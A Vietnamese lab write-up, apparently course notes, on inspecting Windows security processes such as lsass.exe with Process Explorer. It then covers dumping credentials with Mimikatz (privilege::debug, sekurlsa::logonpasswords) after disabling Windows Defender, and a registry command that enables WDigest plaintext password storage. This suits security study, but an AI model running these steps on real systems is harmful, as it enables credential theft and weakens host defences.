# I. Làm quen với các thành phần bảo mật của HĐH

Chuẩn bị máy ảo Windows 10 trên nền tảng VMware

Tải phần mềm Process Explorer của Microsoft (<https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer>)

Sau khi tải về và ta chạy phần mềm tương thích với cấu trúc của máy tính ảo của mình với quyền cao nhất Administrator.

<figure><img src="/files/qAffH9tHLPQ4xDwjzf7w" alt=""><figcaption><p>mở chương trình process explorer</p></figcaption></figure>

Tìm tất cả các thành phần bảo mật của hệ điều hành Windows:

<figure><img src="/files/7vohbvSgqQ9ME99iJlWJ" alt=""><figcaption></figcaption></figure>

<table><thead><tr><th width="325">Tên tiến trình</th><th>Path</th></tr></thead><tbody><tr><td>Windows Logon Application</td><td>C:\Windows\System32\winlogon.exe</td></tr><tr><td>Local Security Authority Process</td><td>C:\Windows\System32\lsass.exe</td></tr><tr><td>Host Process for Windows Services</td><td>C:\Windows\System32\svchost.exe</td></tr><tr><td>Microsoft Distributed Transaction Coordinator Service</td><td>C:\Windows\System32\msdtc.exe</td></tr><tr><td>Windows License Monitoring Service</td><td>C:\Windows\System32\wlms\wlms.exe</td></tr><tr><td>Shell Infrastructure Host</td><td>C:\Windows\System32\sihost.exe</td></tr></tbody></table>

Tiếp theo chúng sẽ kiểm tra tiến trình `lsass.exe`:

<figure><img src="/files/4KVPYlB78KjeRVxpCVbV" alt=""><figcaption></figcaption></figure>

* Như ở trên ta có thể thấy được một số thông tin quan trọng như đường dẫn đến với tiến trình, Command line để thực hiện tiến trình, ta có thể biết được thư mục lưu trữ dữ liệu liên quan đến tiến trình này.
* Hiển thị tiếp theo đó là chúng ta phải kiểm tra nhanh về DLL import liên kết

  <figure><img src="/files/Hm39UYSh1oL8uYODulK6" alt=""><figcaption></figcaption></figure>
* Tiếp đến là kiểm tra xem bao gồm các luồng nào?<br>

  <figure><img src="/files/A52YB73x9kT0LE4dWQa2" alt=""><figcaption></figcaption></figure>

Tải tiện ích Mimikatz (<https://github.com/gentilkiwi/mimikatz/releases>), cần thiết phải tắt Windows Defender. Minikatz là một opensource khai thác các lỗ hổng để xem các thông tin bảo mật của Windows như mật khẩu, mã PIN.

Sau đó chạy tiện ích Minikatz với tư cách Administrator và thực hiện các lệnh sau:

* privilege::debug - để bắt đầu chế độ debug tiến trình của hệ thống
* sekurlsa::logonpasswords - để lấy password của máy

<figure><img src="/files/0gSlElrPxGGIBvKMV9Sq" alt=""><figcaption></figcaption></figure>

Tuy nhiên ở phần Password là (null) không hiển thị chứng tổ lỗ hổng đã được khắc phục, nhưng ta có thể xem được thông tin password bằng cách thêm một key value giá trị ở Registry.

Mở cmd.exe với tư cách quyển trị viên và thực hiện câu lệnh:

{% code overflow="wrap" %}

```
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
```

{% endcode %}

> Hiểu đôi chút về câu lệnh reg add:
>
> `reg add [{/v ValueName | /ve}] [/t DataType] [/s Separator] [/d Data] [/f]`
>
> * `/v ValueName`: Chỉ định tên của entry registry sẽ được thêm vào dưới subkey được chỉ định
> * `/ve`: chỉ định rằng entry được thêm vào registry sẽ có giá trị rỗng (null value)
> * `/t <Type>`: chỉ định dạng entry sẽ được thêm vào, phải là một trong các dạng: REG\_SZ (kiểu chuỗi chuẩn), REG\_MULTI\_SZ (kiểu chuỗi đặc biệt), REG\_DWORD\_BIG\_ENDIAN, REG\_DWORD (kiểu Double Word), REG\_BINARY (kiểu nhị phân), REG\_DWORD\_LITTLE\_ENDIAN, REG\_LINK, REG\_FULL\_RESOURCE\_DESCRIPTOR, REG\_EXPAND\_SZ (kiểu chuỗi mở rộng đặc biệt).
> * `/d <Data>`: chỉ định dữ liệu cho mục entry mới.
> * `/f`: thêm mục register mà không cần gửi lời nhắc xác nhận
>
> Lưu ý:&#x20;
>
> * Lệnh reg này không yêu cầu xác nhận khi thêm subkey
> * Đối với các key dạng REG\_EXPAND\_SZ, hãy sử dụng ký hiệu dấu mũ (^) với % bên trong tham số `/d`

Rồi khởi động lại máy ảo và thực hiện lại 2 câu lệnh kia với tiện ích Minikatz ta sẽ nhận được kết quả là

<figure><img src="/files/yOOjTZrTHVZgL6MZvY9Z" alt=""><figcaption></figcaption></figure>

Như vậy, ta có thể nhận được password rồi, thật vi diệu :tada:

***

Nguồn:

1. <https://quantrimang.com/cong-nghe/tim-hieu-ve-windows-registry-phan-i-2077>&#x20;
2. Tài liệu học tại trường


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viettaliii.gitbook.io/home/education/window-pe-.net/phong-thi-nghiem-phong-thu/i.-lam-quen-voi-cac-thanh-phan-bao-mat-cua-hdh.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
